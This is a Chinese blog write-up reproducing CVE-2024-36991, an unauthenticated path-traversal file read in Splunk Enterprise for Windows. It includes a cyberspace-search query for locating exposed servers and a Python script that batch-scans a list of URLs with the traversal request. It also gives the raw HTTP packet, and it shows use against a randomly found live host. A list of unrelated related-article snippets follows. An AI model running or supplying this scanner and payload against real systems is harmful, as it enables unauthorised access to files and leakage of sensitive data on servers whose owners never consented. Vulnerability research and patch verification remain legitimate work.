当前位置: 首页 > news >正文

【漏洞复现】Splunk Enterprise for Windows 任意文件读取漏洞 CVE-2024-36991

  声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

Splunk Enterprise 是一款强大的机器数据管理和分析平台,广泛应用于企业中,用于实时收集、索引、搜索、分析和可视化来自各种数据源的日志和数据。Splunk Enterprise for Windows 存在任意文件读取漏洞 (CVE-2024-36991) ,允许未经身份认证的攻击者通过构造特定的请求来读取系统上的任何文件,可能导致重要信息的泄露。

受影响的版本包括:

  • 9.2.0 至 9.2.1(不包括9.2.2)
  • 9.1.0 至 9.1.4(不包括9.1.5)
  • 9.0.0 至 9.0.9(不包括9.0.10)

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:app.name="Splunkd"

2.使用poc批量扫描

import requests  # 导入requests库,用于发送HTTP请求
import argparse  # 导入argparse库,用于处理命令行参数
from urllib3.exceptions import InsecureRequestWarning  # 导入InsecureRequestWarning异常类RED = '\033[91m'  # 定义红色字体的ANSI转义码
RESET = '\033[0m'  # 定义重置字体颜色的ANSI转义码
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)def check_file_read(url):headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15'}file_read_url = f"{url.rstrip('/')}/en-US/modules/messaging/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/windows/win.ini"try:response = requests.get(file_read_url, headers=headers, verify=False, timeout=30)  # 发送GET请求,不验证SSL证书,设置超时时间为30秒if response.status_code == 200 and "fonts" in response.text:  # 检查响应状态码和响应内容,判断是否存在漏洞print(f"{RED}URL [{url}] 存在Splunk Enterprise for Windows 任意文件读取漏洞{RESET}")else:print(f"URL [{url}] 可能不存在漏洞")except requests.RequestException as e:  # 捕获请求异常print(f"URL [{url}] 请求失败: {e}")def main():parser = argparse.ArgumentParser(description='检测目标地址是否存在Splunk Enterprise for Windows 任意文件读取漏洞')  # 创建命令行参数解析器parser.add_argument('-u', '--url', help='指定目标地址')  # 添加命令行参数:指定目标地址parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')  # 添加命令行参数:指定包含目标地址的文本文件args = parser.parse_args()  # 解析命令行参数if args.url:  # 如果提供了单个URLif not args.url.startswith("http://") and not args.url.startswith("https://"):  # 确保URL以http://或https://开头args.url = "http://" + args.urlcheck_file_read(args.url)  # 调用check_file_read函数检测漏洞elif args.file:  # 如果提供了包含多个URL的文件with open(args.file, 'r') as file:  # 打开文件并读取内容urls = file.read().splitlines()  # 按行分割文件内容,得到URL列表for url in urls:  # 遍历URL列表if not url.startswith("http://") and not url.startswith("https://"):  # 确保URL以http://或https://开头url = "http://" + urlcheck_file_read(url)  # 调用check_file_read函数检测漏洞if __name__ == '__main__':main()  # 执行主函数

cmd运行:python poc.py -f url.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

2.数据包分析 

  1. GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini HTTP/1.1:这是请求行,表示客户端希望从服务器获取的资源路径。在这请求的资源是位于服务器上的文件win.ini,该文件位于多个C:..目录之后。

  2. Host: ip:这是请求头的一部分,指定了请求的目标服务器的IP地址或域名。在这个例子中,目标服务器的IP地址或域名是ip

  3. User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36:这是请求头的一部分,描述了发起请求的客户端的类型和版本信息。

  4. Connection: close:这是请求头的一部分,指示服务器在响应完成后关闭连接。这意味着客户端在接收到响应后不会保持连接,而是立即关闭连接。

  5. Accept-Encoding: gzip:这是请求头的一部分,告诉服务器客户端可以接受gzip压缩的内容。如果服务器支持gzip压缩,它将使用gzip压缩响应内容以减少传输的数据量。

3.结束跑路

使用yakit Web Fuzzer构造数据包发送

每篇一言:现实与理想相差了十万八千里,我马不停蹄,却也鞭长莫及。

相关文章:

【漏洞复现】Splunk Enterprise for Windows 任意文件读取漏洞 CVE-2024-36991

声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。 一、漏洞描述 Splunk Enterprise 是一款强大的机器数据管理和分析平台,广泛应用于企业中,用于实…...

FastAPI -- 第一弹

Hello World 经典的 Hello World 安装 pip install fastapi pip install "uvicorn[standard]"main.py from typing import Unionfrom fastapi import FastAPIapp FastAPI()app.get("/") def read_root():return {"Hello": "World"}…...

C++入门基础篇(1)

欢迎大家来到海盗猫鸥的博客—— 断更许久,让我们继续好好学习吧! 目录 1.namespace命名空间 命名空间的存在价值: 命名空间的定义: 命名空间的使用: 2.C输入输出函数 使用: 3.缺省参数 4.函数重载…...

基于html开发的在线网址导航在线工具箱源码

基于html开发的在线网址导航在线工具箱源码,将全部文件复制到服务器,入口文件是index.html 如需修改网址,可修改index.html 如需修改关于页面,可修改about里面的index页面 源码下载:https://download.csdn.net/down…...

【密码学】大整数分解问题和离散对数问题

公钥密码体制的主要思想是通过一种非对称性,即正向计算简单,逆向计算复杂的加密算法设计,来解决安全通信。本文介绍两种在密码学领域内最为人所熟知、应用最为广泛的数学难题——大整数分解问题与离散对数问题 一、大整数分解问题 &#xf…...

解析 pdfminer layout.py LAParams类及其应用实例

解析 pdfminer layout.py LAParams类及其应用实例 引言类的定义1. line_overlap2. char_margin3. word_margin4. line_margin5. boxes_flow6. detect_vertical7. all_texts 类的初始化参数验证类的表示总结 引言 在这篇文章中,我们将解析一个叫做 LAParams 的类。这…...

Redis官方可视化管理工具

版权声明 本文原创作者:谷哥的小弟作者博客地址:http://blog.csdn.net/lfdfhl RedisInsight是一个Redis可视化工具,提供设计、开发和优化 Redis 应用程序的功能。RedisInsight分为免费的社区版和一个付费的企业版,免费版具有基本…...

android 固定图片大小

在Android中,固定图片大小可以通过多种方法实现,这些方法主要涉及到ImageView控件的使用、Bitmap类的操作,以及第三方库(如Glide)的辅助。以下是几种常见的方法: 1. 使用ImageView控件 在Android的布局文…...

操作系统——内存管理(面试准备)

虚拟内存 单片机没有操作系统,每次写完代码,都需要借助工具把程序烧录进去,这样程序才能跑起来。 另外,单片机的CPU是直接操作内存的物理地址。 在这种情况下,想在内存中同时运行两个程序是不可能的,如果第…...

vue3实现vuedraggable实现拖拽到垃圾桶图标位置进行删除

当使用Vue 3和vuedraggable库时,你可以按照以下方式实现拖拽到垃圾桶图标位置进行删除的功能: 首先,确保你已经安装了vuedraggable库。如果没有安装,可以通过以下命令进行安装: vuedraggable 和vue-draggable-plus使…...

MySQL向自增列插入0失败问题

问题 在一次上线时,发现通过脚本添加的状态表中,待提交的状态不正确,本来应该是0,线上是101。 原因 默认情况下,MySQL对应自增列,认为0和null等价(因为mysql认为0不是最佳实践不推荐使用&…...

Python:Python基础知识(注释、命名、数据类型、运算符)

.注释 Python有两种注释方法:单行注释和多行注释。单行注释以#开头,多行注释以三个单引号 或三个双引号 """ 开头和结尾。 2.命名规则 命名规则: 大小写字母、数字、下划线和汉字等字符及组合; 注意事项: 大小写敏感、首…...

Protobuf: 大数据开发中的高效数据传输利器

作为一名大数据开发者,我经常需要处理海量的数据传输和存储。在这个过程中,选择一个高效、可靠的数据序列化工具至关重要。今天,我想和大家分享一下我在项目中使用 Protobuf 的经历。 目录 故事背景Protobuf 简介优点: 实战案例示…...

MySQL 面试相关问题

写在前面: 不喜勿喷,暴躁作者又不求你给钱【没办法,遇见的狗喷子太多了🐶】欢迎大家在评论区留言,指正文章中的信息错误有一些其他相关的问题,可以直接评论区留言,作者看到会及时更新到文章末尾…...

java org.aeonbits.owner库介绍

org.aeonbits.owner 是一个用于简化Java应用程序配置管理的库。它通过使用接口和注解来定义和读取配置,使得配置管理更加简洁和类型安全。以下是对这个库的一些主要特性和功能的介绍: 主要特性 类型安全的配置: OWNER 库允许开发者使用接口定义配置,从而提供了编译时的类型…...

YOLOv10改进 | 添加注意力机制篇 | 添加LSKAttention大核注意力机制助力极限涨点

一、本文介绍 在这篇文章中,我们将讲解如何将LSKAttention大核注意力机制应用于YOLOv10,以实现显著的性能提升。首先,我们介绍LSKAttention机制的基本原理,它主要通过将深度卷积层的2D卷积核分解为水平和垂直1D卷积核&#xff0…...

学习笔记——动态路由——IS-IS中间系统到中间系统(特性之路由撤销)

6、路由撤销 ISIS路由协议的路由信息是封装在LSP报文中的TLV中的,但是它对撤销路由的处理和OSPF的处理方式类似。 在ISIS中撤销一条路由实则是将接口下的ISIS关闭: 撤销内部路由: 在ISIS中路由信息是由IP接口TLV和IP内部可达性TLV共同来描…...

智能无人机控制:STM32微控制器与机器学习集成(内附资料)

智能无人机控制结合了STM32微控制器的实时处理能力和机器学习算法的决策能力,以实现更高级的自主飞行和任务执行。以下是智能无人机控制系统的概述,包括系统架构、关键组件、集成方法和示例代码。 系统概述 智能无人机控制系统利用STM32微控制器进行实…...

力扣 454四数相加

这个题给了四个数组,可以两两判断,就类比两数相加那道题了 对于num1 num2 用unordered_map存储,key是num1,num2中数字相加之和,value是值出现的次数 for(int a:num1) {for(int b:num2 {map[ab]; 最后要计算四个数…...

Java面试题系列 - 第9天

题目:深入探讨Java中的设计模式及其应用场景 背景说明:设计模式是软件工程中解决问题的常见方案,它们提供了经过验证的模板,帮助开发者解决在软件设计过程中遇到的特定问题。在Java中,熟悉并正确应用设计模式能够显著…...

手把手教你用STM32的ADC读取PT100模块,实现高精度温度采集(附完整代码)

基于STM32的PT100高精度温度采集系统设计与实现 在工业控制和精密测量领域,温度监测的准确性往往直接影响产品质量和生产安全。PT100作为最常用的温度传感器之一,凭借其优异的线性度和稳定性,成为众多工程师的首选。本文将深入探讨如何利用ST…...

用QT5的QTcpSocket做一个TCP调试助手:连接单片机/服务器测试数据收发

用QT5打造专业级TCP调试助手:从基础通信到工业级工具开发 在嵌入式开发和物联网项目中,TCP通信调试是每个工程师都会遇到的常规需求。无论是与STM32单片机通信,还是测试PLC设备的网络功能,亦或是验证云服务器的数据接口&#xff0…...

工业现场直通车:用C#和雷赛DMC3000库,从零搭建一个真实的运动控制上位机

工业现场直通车:用C#和雷赛DMC3000库构建高可靠运动控制上位机 在工业自动化领域,运动控制系统的稳定性和实时性直接决定了生产效率和产品质量。许多开发者从教学Demo过渡到实际工业应用时,常常面临理论与实践的断层——教材中的理想化代码无…...

【AI智能体】Dify 实战:构建企业级自然语言SQL查询引擎

1. 从个人工具到企业级解决方案的跨越 第一次接触Dify的自然语言转SQL功能时,我被它的便捷性惊艳到了。只需要输入"显示上季度销售额最高的产品",系统就能自动生成正确的SQL语句。但当我尝试在团队中推广使用时,各种问题接踵而至&a…...

Phi-3-mini-4k-instruct-gguf入门必看:轻量模型与Llama3/Qwen对比——适用边界与选型建议

Phi-3-mini-4k-instruct-gguf入门必看:轻量模型与Llama3/Qwen对比——适用边界与选型建议 1. 认识Phi-3-mini-4k-instruct-gguf Phi-3-mini-4k-instruct-gguf是微软Phi-3系列中的轻量级文本生成模型GGUF版本。这个模型特别适合处理问答、文本改写、摘要整理和简短…...

B站视频收藏难?开源工具BilibiliDown通过多线程技术实现批量下载,效率提升85%

B站视频收藏难?开源工具BilibiliDown通过多线程技术实现批量下载,效率提升85% 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader 😳 项目地址:…...

保姆级教程:用Nordic NRF52832搞定SIF一线通协议收发(附完整代码)

Nordic NRF52832实战:SIF一线通协议全双工通信开发指南 在物联网设备开发中,单线通信协议因其布线简单、成本低廉而广受欢迎。SIF(Single Interface)作为一种轻量级一线通协议,特别适合传感器与控制器之间的短距离数据…...

Qwen3.5-2B多场景案例:法律文书图识别+法条关联+类案推荐三合一系统

Qwen3.5-2B多场景案例:法律文书图识别法条关联类案推荐三合一系统 1. 轻量化多模态模型介绍 Qwen3.5-2B是Qwen3.5系列中的轻量化版本,仅有20亿参数规模,专为低功耗、低门槛部署场景设计。这款模型特别适合部署在端侧和边缘设备上&#xff0…...

实战应用:基于快马平台开发企业内网服务可用性监控系统

今天想和大家分享一个最近用InsCode(快马)平台快速实现的实用项目——企业内网服务可用性监控系统。这个需求来源于我们公司内部的实际痛点:随着服务器数量增加,经常出现某个服务端口异常但没人及时发现的情况。 1. 项目背景与需求分析 我们公司有几十…...

Phi-3-mini-4k-instruct快速上手:Ollama部署指南,开启你的第一个AI项目

Phi-3-mini-4k-instruct快速上手:Ollama部署指南,开启你的第一个AI项目 1. 认识Phi-3-mini-4k-instruct:轻量级AI助手 Phi-3-mini-4k-instruct是一个仅有38亿参数的轻量级AI模型,由微软团队开发。虽然体积小巧,但它在…...